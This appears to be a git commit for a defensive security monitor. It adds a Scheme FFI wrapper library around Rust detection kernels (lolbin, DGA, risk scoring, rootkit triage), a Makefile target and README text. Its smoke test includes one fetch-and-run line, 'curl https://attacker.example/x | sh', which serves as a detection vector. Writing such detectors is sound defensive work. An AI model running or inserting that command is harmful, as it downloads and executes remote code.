Add importable (jsecmon kernels) bridge library

Jaime Fournier

94acf31c50c8c7521c8e07b806112a63c2d7ee92

diff --git a/Makefile b/Makefile
index d33c37f..2b88337 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo clean
+.PHONY: rust test ffi-demo kernels-check clean
 
 # Generate the Rust crate from the Typed Jerboa kernels, then drop in the
 # hand-written verification tests (the generator only writes src/ + Cargo.toml).
@@ -29,5 +29,13 @@ ffi-demo: rust
 	cd $(BUILD) && cargo build --release
 	$(SCHEME) --libdirs $(JERBOA)/lib --script examples/ffi_bridge.ss
 
+# Exercise the reusable bridge library `(jsecmon kernels)` end to end: build the
+# cdylib, then re-check secmon parity vectors through the Jerboa wrappers. The
+# repo root joins the libdir path so `(jsecmon kernels)` resolves to
+# jsecmon/kernels.ss; combine into one --libdirs (a second one would replace it).
+kernels-check: rust
+	cd $(BUILD) && cargo build --release
+	$(SCHEME) --libdirs "$(JERBOA)/lib:$(CURDIR)" --script examples/kernels_check.ss
+
 clean:
 	rm -rf $(BUILD)
diff --git a/README.md b/README.md
index 83a49f6..56471a0 100644
--- a/README.md
+++ b/README.md
@@ -19,9 +19,10 @@ build/rust/   Generated crate (gitignored; `make rust` regenerates)
 ## Build & verify
 
 ```
-make rust      # typed/*.ss → build/rust (a cargo crate)
-make test      # regenerate, then cargo test against secmon's vectors
-make ffi-demo  # build the cdylib + drive the kernels from a Jerboa script
+make rust            # typed/*.ss → build/rust (a cargo crate)
+make test            # regenerate, then cargo test against secmon's vectors
+make ffi-demo        # build the cdylib + drive two kernels from a Jerboa script
+make kernels-check   # exercise the (jsecmon kernels) library against the vectors
 ```
 
 ### The C ABI bridge
@@ -34,6 +35,17 @@ that ABI via Chez's `foreign-procedure`. `examples/ffi_bridge.ss` proves the
 whole path — a Jerboa script `load-shared-object`s the dylib and calls the
 `constant-time-eq?` and `score-cmdline` kernels, asserting their results.
 
+`jsecmon/kernels.ss` is the **reusable** form of that bridge: an importable
+`(library (jsecmon kernels) …)` that loads the dylib once on import and exports
+clean Jerboa wrappers for all 21 kernels (`lolbin-score-cmdline`, `hex-decode`,
+`host-risk-score`, `dga-score-domain`, `bytes-contains?`, `phantom-rootkit-race?`,
+…). It hides the C ABI entirely — including the out-param dance for Bytes/String
+results (alloc two cells, call, copy the buffer, `jt_byte_buffer_free`, free the
+cells). The untyped I/O layer just does `(import (jsecmon kernels))`. The repo
+root must be on the libdir path so the import resolves to `jsecmon/kernels.ss`.
+`examples/kernels_check.ss` re-checks the secmon parity vectors through these
+wrappers (`make kernels-check`).
+
 `make` needs a built jerboa checkout at `$JERBOA` (default `~/mine/jerboa`),
 whose `.chez/bin/scheme` and `support/typed-rust.ss` drive the backend.
 
diff --git a/examples/kernels_check.ss b/examples/kernels_check.ss
new file mode 100644
index 0000000..cfa7568
--- /dev/null
+++ b/examples/kernels_check.ss
@@ -0,0 +1,75 @@
+;;; Smoke test for the importable bridge library `(jsecmon kernels)`.
+;;;
+;;; Where ffi_bridge.ss wires up two kernels by hand, this proves the whole
+;;; reusable wrapper module: `(import (jsecmon kernels))` and re-check a handful
+;;; of secmon parity vectors *through the Jerboa wrappers* (not raw pointers).
+;;;
+;;; Run from the repo root, with the dylib built and the repo on the libdir path
+;;; so `(jsecmon kernels)` resolves to jsecmon/kernels.ss:
+;;;   (cd build/rust && cargo build --release)
+;;;   scheme --libdirs $JERBOA/lib --libdirs . --script examples/kernels_check.ss
+
+(import (jerboa prelude)
+        (jsecmon kernels))
+
+(def fails 0)
+(def (check label got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") label " => " got
+               (if ok "" (str "  (want " want ")")))))
+
+(displayln "lolbin:")
+(check "score curl|sh"
+       (lolbin-score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash")
+       70)
+(check "score benign curl"
+       (lolbin-score-cmdline "curl https://example.com -o page.html" "/usr/bin/curl")
+       0)
+(check "severity 120" (lolbin-severity 120) "critical")
+(check "severity 75"  (lolbin-severity 75)  "high")
+(check "severity 35"  (lolbin-severity 35)  "medium")
+(check "severity 5"   (lolbin-severity 5)   "info")
+
+(displayln "psk:")
+(check "ct-eq equal"   (constant-time-eq? (string->utf8 "secret") (string->utf8 "secret")) #t)
+(check "ct-eq differ"  (constant-time-eq? (string->utf8 "secret") (string->utf8 "secreX")) #f)
+(check "hex-encode"    (hex-encode (bytevector 222 173 190 239)) "deadbeef")
+(check "hex round-trip" (hex-encode (hex-decode "deadbeef")) "deadbeef")
+(check "hex-string? y" (hex-string? "deadbeef") #t)
+(check "hex-string? n" (hex-string? "nothex!!") #f)
+(check "psk-hex-32? y" (psk-hex-32? (make-string 64 #\a)) #t)
+(check "psk-hex-32? n" (psk-hex-32? "deadbeef") #f)
+
+(displayln "analytics:")
+(check "host-risk host-b" (host-risk-score 0 1 0 1 1 0 0 0 0) 34)
+(check "host-risk quiet"  (host-risk-score 0 0 0 0 0 0 0 0 0) 0)
+(check "host-risk satur"  (host-risk-score 99 0 0 0 0 0 0 0 0) 100)
+
+(displayln "dga:")
+(check "max-consonant kxqz" (dga-max-consonant-run "kxqz") 4)
+(check "score-domain dga >=60"
+       (>= (dga-score-domain "kxq8z23nplkdq.example.com") 60) #t)
+(check "score-domain google low"
+       (< (dga-score-domain "google.com") 30) #t)
+
+(displayln "strbytes:")
+(check "bytes-contains?" (bytes-contains? (string->utf8 "hello world") (string->utf8 "lo w")) #t)
+(check "bytes-prefix?"   (bytes-prefix?   (string->utf8 "hello") (string->utf8 "he")) #t)
+(check "bytes-suffix?"   (bytes-suffix?   (string->utf8 "hello") (string->utf8 "lo")) #t)
+(check "ascii-lower"     (utf8->string (ascii-lower-bytes "HeLLo")) "hello")
+(check "index-of-byte"   (index-of-byte (string->utf8 "a.b") (char->integer #\.)) 1)
+(check "first-label-len" (first-label-len (string->utf8 "abc.example.com")) 3)
+
+(displayln "triage:")
+(check "transient unit"  (transient-unit? "(transient)") #t)
+(check "non-transient"   (transient-unit? "sshd.service") #f)
+(check "phantom race"
+       (phantom-rootkit-race? "ROOTKIT: Hidden process detected! comm=sshd [accepted]") #t)
+(check "real rootkit"
+       (phantom-rootkit-race? "ROOTKIT: Hidden process detected! comm=evil") #f)
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: all kernel wrappers match secmon vectors.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/kernels.ss b/jsecmon/kernels.ss
new file mode 100644
index 0000000..6e04350
--- /dev/null
+++ b/jsecmon/kernels.ss
@@ -0,0 +1,167 @@
+#!chezscheme
+;;; jsecmon — the bridge from ordinary Jerboa to the Typed-Jerboa kernels.
+;;;
+;;; The typed/ modules compile to a Rust cdylib with a C ABI: each kernel is
+;;; `jt_<module>_<fn>`, every Bytes/String argument is a pointer+length, and a
+;;; Bytes/String *result* comes back through two out-params (a `*mut *mut u8`
+;;; and a `*mut usize`) whose buffer the caller copies out and frees with
+;;; `jt_byte_buffer_free`. This module wraps that calling convention once so
+;;; the rest of the untyped layer (monitors, storage, server) just calls
+;;; `(lolbin-score-cmdline …)` etc. and never touches a raw pointer.
+;;;
+;;; The dylib is loaded on import; set JSECMON_LIB to override the path
+;;; (defaults to build/rust/target/release relative to the current directory).
+
+(library (jsecmon kernels)
+  (export ;; lolbin
+          lolbin-score-cmdline lolbin-severity
+          ;; psk crypto primitives
+          constant-time-eq? hex-encode hex-decode hex-string? psk-hex-32?
+          ;; analytics
+          host-risk-score
+          ;; dga
+          dga-max-consonant-run dga-shannon-entropy dga-score-label dga-score-domain
+          ;; strbytes toolkit
+          ascii-lower-bytes bytes-contains? bytes-prefix? bytes-suffix?
+          contains-word? index-of-byte first-label-len
+          ;; triage classifiers
+          transient-unit? phantom-rootkit-race?)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?))
+
+  ;; ── dylib loading ────────────────────────────────────────────────────────
+  (define (default-lib-path)
+    (let* ((base (string-append (current-directory)
+                                "/build/rust/target/release/libjerboa_typed_generated"))
+           (dylib (string-append base ".dylib")))
+      (if (file-exists? dylib) dylib (string-append base ".so"))))
+
+  ;; Bind, rather than evaluate bare, so the load stays in definition context
+  ;; (a library body is all definitions then expressions) and runs before the
+  ;; foreign-procedure forms below resolve their entry points.
+  (define %lib (load-shared-object (or (getenv "JSECMON_LIB") (default-lib-path))))
+
+  ;; ── marshalling helpers ──────────────────────────────────────────────────
+  (define (truthy n) (not (= 0 n)))
+  (define u8->bytes string->utf8)            ;; String arg → its UTF-8 bytes
+
+  (define free-buffer
+    (foreign-procedure "jt_byte_buffer_free" (void* size_t) void))
+
+  ;; Run a kernel whose result is returned through the (out_ptr, out_len)
+  ;; convention. `fill` receives the two out-param cells, calls the foreign
+  ;; procedure with them appended, and returns its bool flag. We copy the
+  ;; produced buffer into a fresh bytevector, free the Rust allocation, and
+  ;; always release the two cells.
+  (define (call->bytes fill)
+    (let ((pp (foreign-alloc (foreign-sizeof 'void*)))
+          (pl (foreign-alloc (foreign-sizeof 'size_t))))
+      (dynamic-wind
+        (lambda () #t)
+        (lambda ()
+          (unless (truthy (fill pp pl))
+            (error 'jsecmon-kernels "typed kernel reported failure"))
+          (let* ((data (foreign-ref 'void* pp 0))
+                 (len  (foreign-ref 'size_t pl 0))
+                 (bv   (make-bytevector len)))
+            (let loop ((i 0))
+              (when (< i len)
+                (bytevector-u8-set! bv i (foreign-ref 'unsigned-8 data i))
+                (loop (+ i 1))))
+            (free-buffer data len)
+            bv))
+        (lambda () (foreign-free pp) (foreign-free pl)))))
+
+  ;; Bind a foreign procedure once.
+  (define-syntax fp
+    (syntax-rules ()
+      ((_ name args ret) (foreign-procedure name args ret))))
+
+  ;; ── lolbin ────────────────────────────────────────────────────────────────
+  (define %score-cmdline
+    (fp "jt_jsecmon_lolbin_score_cmdline" (u8* size_t u8* size_t) unsigned-64))
+  (define (lolbin-score-cmdline cmd exe)
+    (let ((c (u8->bytes cmd)) (x (u8->bytes exe)))
+      (%score-cmdline c (bytevector-length c) x (bytevector-length x))))
+
+  (define %severity (fp "jt_jsecmon_lolbin_severity" (unsigned-64 void* void*) unsigned-8))
+  (define (lolbin-severity total)
+    (utf8->string (call->bytes (lambda (pp pl) (%severity total pp pl)))))
+
+  ;; ── psk ─────────────────────────────────────────────────────────────────-─
+  (define %ct-eq
+    (fp "jt_jsecmon_typed_psk_constant_time_eq_p" (u8* size_t u8* size_t) unsigned-8))
+  (define (constant-time-eq? a b)
+    (truthy (%ct-eq a (bytevector-length a) b (bytevector-length b))))
+
+  (define %hex-encode
+    (fp "jt_jsecmon_typed_psk_hex_encode" (u8* size_t void* void*) unsigned-8))
+  (define (hex-encode data)
+    (utf8->string (call->bytes (lambda (pp pl) (%hex-encode data (bytevector-length data) pp pl)))))
+
+  (define %hex-decode
+    (fp "jt_jsecmon_typed_psk_hex_decode" (u8* size_t void* void*) unsigned-8))
+  (define (hex-decode s)
+    (let ((b (u8->bytes s)))
+      (call->bytes (lambda (pp pl) (%hex-decode b (bytevector-length b) pp pl)))))
+
+  (define %hex-string? (fp "jt_jsecmon_typed_psk_hex_string_p" (u8* size_t) unsigned-8))
+  (define (hex-string? s) (let ((b (u8->bytes s))) (truthy (%hex-string? b (bytevector-length b)))))
+
+  (define %psk-hex-32? (fp "jt_jsecmon_typed_psk_psk_hex_32_p" (u8* size_t) unsigned-8))
+  (define (psk-hex-32? s) (let ((b (u8->bytes s))) (truthy (%psk-hex-32? b (bytevector-length b)))))
+
+  ;; ── analytics ─────────────────────────────────────────────────────────────
+  (define %host-risk
+    (fp "jt_jsecmon_analytics_host_risk_score"
+        (unsigned-64 unsigned-64 unsigned-64 unsigned-64 unsigned-64
+         unsigned-64 unsigned-64 unsigned-64 unsigned-64) unsigned-64))
+  (define (host-risk-score critical high medium distinct-rules chains
+                           suspicious-cmdline dga rootkit-or-tamper persistence)
+    (%host-risk critical high medium distinct-rules chains
+                suspicious-cmdline dga rootkit-or-tamper persistence))
+
+  ;; ── dga ───────────────────────────────────────────────────────────────────
+  (define (str->kernel-nat sym)
+    (let ((f (fp sym (u8* size_t) unsigned-64)))
+      (lambda (s) (let ((b (u8->bytes s))) (f b (bytevector-length b))))))
+  (define dga-max-consonant-run (str->kernel-nat "jt_jsecmon_dga_max_consonant_run"))
+  (define dga-score-label       (str->kernel-nat "jt_jsecmon_dga_score_label"))
+  (define dga-score-domain      (str->kernel-nat "jt_jsecmon_dga_score_domain"))
+
+  (define %shannon (fp "jt_jsecmon_dga_shannon_entropy" (u8* size_t) double))
+  (define (dga-shannon-entropy s) (let ((b (u8->bytes s))) (%shannon b (bytevector-length b))))
+
+  ;; ── strbytes (operate on raw Bytes; lowercase yourself if needed) ──────────
+  (define %lower (fp "jt_jsecmon_strbytes_ascii_lower_bytes" (u8* size_t void* void*) unsigned-8))
+  (define (ascii-lower-bytes s)
+    (let ((b (u8->bytes s)))
+      (call->bytes (lambda (pp pl) (%lower b (bytevector-length b) pp pl)))))
+
+  (define (bytes-pred sym)
+    (let ((f (fp sym (u8* size_t u8* size_t) unsigned-8)))
+      (lambda (hay need) (truthy (f hay (bytevector-length hay) need (bytevector-length need))))))
+  (define bytes-contains? (bytes-pred "jt_jsecmon_strbytes_bytes_contains_p"))
+  (define bytes-prefix?   (bytes-pred "jt_jsecmon_strbytes_bytes_prefix_p"))
+  (define bytes-suffix?   (bytes-pred "jt_jsecmon_strbytes_bytes_suffix_p"))
+  (define contains-word?  (bytes-pred "jt_jsecmon_strbytes_contains_word_p"))
+
+  (define %index-of (fp "jt_jsecmon_strbytes_index_of_byte" (u8* size_t unsigned-64) unsigned-64))
+  (define (index-of-byte bv v) (%index-of bv (bytevector-length bv) v))
+  (define %first-label (fp "jt_jsecmon_strbytes_first_label_len" (u8* size_t) unsigned-64))
+  (define (first-label-len bv) (%first-label bv (bytevector-length bv)))
+
+  ;; ── triage ──────────────────────────────────────────────────────────────-─
+  (define (str-pred sym)
+    (let ((f (fp sym (u8* size_t) unsigned-8)))
+      (lambda (s) (let ((b (u8->bytes s))) (truthy (f b (bytevector-length b)))))))
+  (define transient-unit?       (str-pred "jt_jsecmon_triage_transient_unit_p"))
+  (define phantom-rootkit-race? (str-pred "jt_jsecmon_triage_phantom_rootkit_race_p")))